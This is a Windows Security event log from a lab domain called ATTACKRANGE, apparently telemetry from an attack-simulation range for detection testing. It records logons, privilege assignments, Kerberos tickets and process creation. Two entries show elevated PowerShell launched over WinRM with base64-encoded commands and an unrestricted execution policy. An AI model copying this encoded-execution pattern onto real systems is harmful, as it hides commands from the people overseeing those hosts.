New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10F8D9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64454

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250482
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10F8D9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250481
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10F878

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250480
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10F878
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64453

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250479
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10F878

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250478
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10F803

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250477
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10F803
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64452

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250476
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10F803

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250475
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10F7A2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250474
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10F7A2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64451

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250473
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10F7A2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250472
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x135c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12a0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250471
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250470
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10E3F1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250469
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10E3F1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250468
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250467
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250466
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250465
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1274
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250464
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1274
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1204
	Creator Process Name:	C:\Windows\System32\winrshost.exe
